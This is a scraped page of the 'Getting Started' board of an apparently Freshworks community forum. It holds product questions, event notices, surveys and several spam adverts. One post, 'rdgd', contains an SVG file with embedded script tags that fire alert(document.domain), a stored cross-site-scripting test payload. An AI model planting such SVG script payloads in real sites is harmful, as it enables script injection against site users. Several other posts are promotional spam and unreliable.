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Getting Started

Getting Started

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119 Posts
Kamakshi V
Community Manager
Kamakshi VCommunity Manager
published in Getting Started
[POLL TIME] What’s your Go-To Doc Tool?1 Min - POLL | ESM

Hello Folks!!Select all that apply below, and feel free to mention anything not listed in the comments!

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Joshua.Lawrence
Skilled Expert
alyssia.correa
Community Manager
alyssia.correaCommunity Manager
published in Getting Started
Event Lobby |Extend beyond IT: Unify services and elevate EX with Workspaces | Sep 17

Hi Everyone,We are looking forward to your participation in our upcoming event: Extend Beyond IT:  Unify services and elevate EX with Workspaces on September 17, 2024  9:00 a.m. PDT.>>>>Do you have questions or comments, or are you facing issues joining the session? We encourage you to ask your questions, share your thoughts, and post any comments related to the event. Whether you need more information about document management or are experiencing difficulties logging in, your participation is crucial.-----------------------------------------------------------------------------------------------EVENT DETAILS -  Facing issues with joining link?  If you’ve registered but didn’t receive the link: Join directly using this link: https://freshworks.zoom.us/webinar/register/WN_o1kfzOrjQuG-lDyPICW7-A ------------------------------------------------------------------------------------------------ If you haven’t registered yet but wish to join instantly: Click the following link to r

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Mukesh Yadav
Apprentice
sarahf56
Apprentice
sarahf56Apprentice
asked in Getting Started
Looking for Feedback on My Stylish Name Generator Website

Hey everyone! 👋I recently launched a website called Stylish Name  Maker where users can generate stylish names, fancy text, and cool usernames for social media platforms like Instagram, Facebook, and more.I’d love it if you could check it out and share your honest feedback: How’s the design and user experience? Any features you think I should add? Did you face any bugs or issues? Suggestions to improve speed, SEO, or mobile responsiveness? Your input would mean a lot and help me improve the site further. Thanks in advance!

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Community Debut
tfhfthfth
Apprentice
tfhfthfthApprentice
posted in Getting Started
rdgd

<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert("XSS BY ExeC_IQ"); </script> <script type="text/javascript"> alert(document.domain); </script> </svg><?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert("XSS BY ExeC_IQ"); </script> <script type="text/javascript"> alert(document.domain); </script></svg> 

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tfhfthfth
Apprentice
The Center
Contributor
The CenterContributor
asked in Getting Started
Recent Activities changes

Recently, there appears to be a change to “recent activities.” It is a great feature that needs to be fixed to continue it to be a great feature to use.   The change recently that I have seen is that it is no longer readable or easily usable.    When opening recent activities at the top right it only shows a partial list when it could use the entire screen length.  The last activity is cut off and cannot even see the ticket that was recently accessed/replied.       The last version allowed users to Ctrl+Click to select each ticket and open them in a separate tab.   The current version; still allows the Ctrl+click and tab opening; but now closes the Recent Activity Tab after one click.  In order to open the next activity on the list; we now have to view recent activities which refreshes the list back to the top.  We can no longer just open 4 or 5 tickets easily from hours past to review.  Each time now just to review past responses or updates; now have to open the recent activities tab

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Shiva shankari R A
Community Debut
M
Apprentice
matthew.wattApprentice
asked in Getting Started
API created Ticket with PDF Attachment - PDF is blank

After much trial and error, I have finally managed to get MS Power Automate to create a FreshService ticket with a PDF attachment.  However, while the FreshService ticket shows an 8Mb PDF attachment, When I open the PDF document it’s completely blank.Any thoughts on what I may have done wrong? ADDITIONALLY: I can send the exact same file in MS Power Automate via email, and the PDF document shows correctly when opened.

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Shiva shankari R A
Community Debut
J
Apprentice
John MitApprentice
posted in Getting Started
FreshService multi tenant MSP Mode

Hi Everyone,Does anyone currently use Fresh in multi tenant MSP mode currently been waiting nearly 3 weeks for account to be setup with my account manager.Any experiences in how it was setup for you just frustrated at the moment. 

181
Sandeep Talla
Community Debut
willowconner38
Apprentice
willowconner38Apprentice
asked in Getting Started
Is it possible to decompile an APK, change the code, then recompile it?

You can easily do that using android multitool. It allows you to decompile, sign and recompile apk. If you want to see source code, then you should use dex-to-jar converter and convert your app to jar file.APK Sync

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IzaiahMaggio
Community Debut
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Apprentice
ryanepatelApprentice
asked in Getting Started
Can Freshdesk Help Manage User Requests for Menu Information?

Hi everyone,I run a website that shares up-to-date menu information for fast food restaurants like Five Guys. Visitors often send us questions or requests like updates on prices, missing items, or local store variations.I’m wondering:Can I use Freshdesk to organize and respond to these user-submitted menu requests more efficiently?Specifically: Is there a way to automatically categorize or tag requests (e.g., pricing update, new item, location-specific info)? Can Freshdesk help assign requests to different team members based on topic or urgency? I’d appreciate any tips from others who manage public-facing info sites and use Freshdesk to handle user queries.Thanks!5guyzmenu.com

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Zaxbysmenu
Community Debut
beitel
Apprentice
beitelApprentice
posted in Getting Started
Bar Mitzvah Tefillin – Kosher, Custom, and Affordable from Israel 🇮🇱

Looking for Tefillin for a Bar Mitzvah that’s elegant, kosher, and crafted with care? At 1800 Beit El, we offer handcrafted tefillin sets with full kosher certification, including options made from coarse or fine animal hide. Choose from Ashkenazi, Sephardi, or Yemenite styles — with full customization, fast delivery, and affordable prices direct from the sofer.🎁 Sets available with tallit, kippah, and custom embroidery.🕍 Ideal for families in Israel or abroad looking for trusted, high-quality Judaica.Start your son’s Bar Mitzvah journey with tefillin that combine tradition, beauty, and halachic integrity.👉 Order now: 1800beitel.co.il

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beitel
Apprentice
anjanicourier
Apprentice
anjanicourierApprentice
asked in Getting Started
No More Waiting in the Dark — Track Smarter with Anjani

Whether you’re a small online shop shipping daily or a customer sending a Rakhi to a sibling miles away, knowing where your parcel is matters. That’s the problem Anjani courier tracking solves with elegance and efficiency.This isn’t just another parcel update tool—it’s a real-time, step-by-step window into the journey of your shipment. As soon as you enter your tracking number, the system pulls up every detail: when the parcel was booked, which centers it passed through, its current location, and who received it upon delivery. Shree anjani courier tracking takes the mystery out of shipping.For eCommerce sellers, this means fewer customer support calls and better buyer trust. For families and professionals, it means no more late-night anxiety wondering if your documents or packages are delayed. The interface is refreshingly simple and doesn’t require logins or downloads. It just works.And with anjani tracking, it works across the board—from metro cities to tier-2 and tier-3 towns. The s

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anjanicourier
Apprentice
M
Apprentice
MikeFisherApprentice
asked in Getting Started
Ontario/Canada Muncipalities Using Freshservice

Hello,Just looking to connect with other municipalities in Ontario or across Canada who are using Freshservice. If your organization is a municipality and you’re interested in connecting, please reply to topic.Thanks very much!Mike

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M
Apprentice
uniquelynatural
Apprentice
uniquelynaturalApprentice
asked in Getting Started
How to Grow Your Organic Hair Care Brand Without Paying for Ads

A smart, cost-effective way to promote your brand—especially in niches like organic hair care—is by creating valuable, informative content that others want to share. Instead of spending on ads, offer tips on natural ingredients or eco-friendly routines. Beauty blogs and wellness sites will often publish this content for free, helping you reach new audiences and build credibility without extra cost.

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uniquelynatural
Apprentice
elizabethtuner
Apprentice
elizabethtunerApprentice
asked in Getting Started
Can Agents Share Canned Responses and Scenario Automations Without Admin Rights?

Hi everyone,I’m looking for a way to allow certain Agents to share their Canned Responses and Scenario Automations with other team members but without granting them full Admin privileges. We want to empower senior or specialized agents to contribute helpful tools and workflows while maintaining overall permission control.This is especially important for teams handling sensitive or regulated data like our support team for a daycare near me service platform where limiting access to system-wide settings is critical for compliance and safety.Is there a permission setting or role configuration in the system that allows this level of access granularity? Or is admin access currently the only option for sharing canned responses and automations?Thanks in advance for any guidance or best practices!

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elizabethtuner
Apprentice
Kamakshi V
Community Manager
Kamakshi VCommunity Manager
posted in Getting Started
[8 mins] Quick Survey — We'd love to know your take on how you see Brand Freshworks!

Happy Friday!At Freshworks, we truly value the insights and feedback from our community — your input helps shape the products and experiences we deliver.As we continue to grow, we’re eager to understand how our brand resonates with you. How does Freshworks stand out to you, and how do we compare to others in the industry?We’d appreciate a few minutes of your time (just ~8 minutes) to complete a short survey. There are no right or wrong answers — just your honest perspective. Your feedback helps us see our brand through your eyes and continue evolving in the right direction.Thank you for being an important part of our journey.👉 Take the survey

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Kamakshi V
Community Manager
AngelinaT
Apprentice
AngelinaTApprentice
asked in Getting Started
Hiring Now: Freshworks Admin – Know Anyone?

Heritage Auctions is looking for a Freshworks Administrator to manage and optimize our Freshdesk and Freshcaller platforms. Have 3+ years of experience with Freshdesk & Freshcaller? Comfortable building automations, IVRs, call queues, and SLAs? Skilled in integrations, reporting, and training cross-functional teams? Passionate about improving customer experience through smart workflows and AI? Location: Near DFW Airport (Dallas, TX)Benefits: Medical, dental, vision, 401k, PTO, Daily PayPay: Based on experienceKnow someone who’s a great fit or want to apply? Reach out or send them our way or apply online directly at HA.COM/Careers

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AngelinaT
Apprentice
Billsby77
Apprentice
Billsby77Apprentice
asked in Getting Started
Billsby

Optimize payments effortlessly with Billsby. Simplify billing processes and enhance payment management for your business. For more: subscription management software, subscription management platform, recurring billing platform, saas billing

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Billsby77
Apprentice
Asfandyarakram
Apprentice
AsfandyarakramApprentice
posted in Getting Started
Request for Advanced Dynamic Form Support in Service Catalog

We run an online t shirt store at Harwage.pk, and we’re encountering limitations with the current form structure in the Service Catalog.Our business often needs more dynamic and layered forms to collect detailed customer or internal input—for example, when reporting product issues, requesting design customizations, or managing returns. Right now, the current form setup doesn’t allow us to build multi-level conditional logic without having to create a separate form for each variation. This results in redundancy and maintenance difficulties.We’d ideally like to have one dynamic form with parent-child logic, like:Example: What is the issue? Sizing Issue Too Small / Too Large Design Issue Misprint Color Mismatch Other [Comment Box] But with current limitations, we need to build individual forms for each t-shirt style or issue type, which adds unnecessary complexity.Is there an ETA or roadmap plan to allow more advanced and scalable dynamic form cr

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Asfandyarakram
Apprentice
Nic Neo
Apprentice
Nic NeoApprentice
asked in Getting Started
Freshdesk Training

Hello,Is there anyone the UK that offers on line or face to face Freshdesk training or consultancy?  I work for a small company that implemented Freshdesk in 2017, all those people are now gone and Im now in charge or a solution I have no clue how to configure of manage.If there are organisation or individuals out there that could help me I’d be very happy to hear from you.Thanks.Nic

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Kamakshi V
Community Manager
Malikhassan
Apprentice
MalikhassanApprentice
posted in Getting Started
Custom Launchers, Streamlined Experiences — What We Can Learn from Bloxstrap for SaaS Tools Like Freshworks

Hi Freshworks Community! 👋I wanted to start a conversation around custom launchers and user control inspired by a tool I recently explored called Bloxstrap — a lightweight, customizable launcher for Roblox. While it’s designed for gaming, its core philosophy resonates deeply with what we aim to achieve in SaaS environments like Freshdesk, Freshsales, and beyond.🔹 Bloxstrap allows users to: Launch multiple instances Customize runtime settings Choose specific software versions Run offline when needed These features remind me of what many of us crave in business tools: speed, control, and tailored workflows.💡 What if we applied this logic to Freshworks products? Imagine: A mini-launcher that toggles between support environments (test/live) Version-specific views for different CRM workflows Offline-ready interfaces for agents in low-connectivity zones Have you ever created a custom integration or mini-dashboard for Freshworks products? I’d love to hear how others in the commun

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Malikhassan
Apprentice
C
Contributor
christopherlContributor
asked in Getting Started
Team Dashboard Widget error: "Widget's data is inaccessible due to the widget's filter settings"

When editing a Team Dashboard, I am given the option to add widgets for tickets based on filtered tickets lists views that I created/saved.  Although I can view the widget data on our Team Dashboard, the rest of my staff (same agent group) cannot view the widget data for any widgets tied to filtered lists that I saved.  They can only see widgets tied to data of Ticket views that are available at a global/workspace level. The error states, “[Ticket View Title] Widget’s data is inaccessible due to the widget’s filter settings”Is it a design feature (bug?) for Freshservice to not allow agents to view custom filtered lists created by other agents?  If that is true, then the Team Dashboard editor should NOT give the the option for creators to add widgets they want their team to see based on a filtered list view they created. Is Freshservice able to fix / enhance this feature?  Either hide custom filtered lists from the “Tickets view” drop-down when adding a widget on Team Dashboard, or enab

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Top Contributor
R
Apprentice
Robert ZibellApprentice
asked in Getting Started
How Do You Handle Product-Specific Support in Freshdesk for an Automotive Parts Store?

Hi everyone,I run customer support for MountainOffroad.com, where we sell Jeep and off-road vehicle parts. Many of our tickets are product-specific, like compatibility questions (e.g., “Will this skid plate fit a 2020 Toyota Tacoma?”) or order-related issues.I’d love to hear how other eCommerce or parts-based businesses are using Freshdesk to: Tag or categorize tickets by product Use canned responses or dynamic content Route tickets based on product type or department Link tickets with product listings or inventory We’re aiming to speed up our response time and reduce back-and-forth for our technical team. If you’ve handled something similar — whether for auto parts or another niche eCommerce setup — please share your workflow or automation tricks!Thanks a lot — looking forward to learning from your experience.

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R
Apprentice
R
Apprentice
ricksharmaApprentice
asked in Getting Started
How to Add Google Workspace Emails to Microsoft 365

this is one of the highly searched query on the Internet. But today we will solve that. Before going to move your emails from Google Workspace to Office 365, you need to take Google Workspace Backup. in the PST file. And then after, you can import PST to Office 365 seamlessly.

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A
Community Debut
Keval Padia
Apprentice
Keval PadiaApprentice
posted in Getting Started
How to Set Up Automated Workflows in Freshworks:

Go to Admin Settings Navigate to the Admin section and select “Automations” or “Workflow Automator”, depending on your product. Choose When to Trigger Pick a trigger point — like ticket creation, lead update, or status change. Set Conditions Add rules or conditions (e.g., "If ticket priority is High and status is Open"). Define Actions Choose what happens next — like sending an email, assigning an agent, or updating a field. Test and Save Always test your workflow with sample data before making it live.

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Community Debut
oliveeetayylorr
Apprentice
oliveeetayylorrApprentice
asked in Getting Started
How do I change a webpage’s font & colours in Chrome browser?

Select the Menu button in the top-right corner of the browser window or press Alt + F on your keyboard. Select Settings. Click Appearance on the left-hand side then click Customise fonts on the right.Fonts Sonic

31764
louisyoung044
Community Debut

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